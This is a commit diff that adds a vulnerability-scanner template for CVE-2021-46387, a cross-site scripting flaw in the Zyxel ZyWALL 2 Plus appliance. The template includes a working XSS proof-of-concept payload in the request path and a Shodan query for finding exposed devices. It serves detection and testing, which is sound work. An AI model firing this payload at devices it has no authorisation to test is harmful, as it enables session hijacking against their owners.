Added CVE-2021-46387 (#4022)

cves/2021/CVE-2021-46387.yaml

@@ -0,0 +1,36 @@
+id: CVE-2021-46387
+
+info:
+  name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
+  author: DhiyaneshDk
+  severity: medium
+  description: ZyXEL ZyWALL 2 Plus Internet Security Appliance is affected by Cross Site Scripting (XSS). Insecure URI handling leads to bypass security restriction to achieve Cross Site Scripting, which allows an attacker able to execute arbitrary JavaScript codes to perform multiple attacks such as clipboard hijacking and session hijacking.
+  reference:
+    - https://www.exploit-db.com/exploits/50797
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-46387
+  metadata:
+    shodan-query: http.title:"Zywall2Plus"
+  tags: cve,cve2021,xss,zyxel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<iMg src=x onerror="prompt(document.domain)"><form>'
+          - 'Entry Error'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200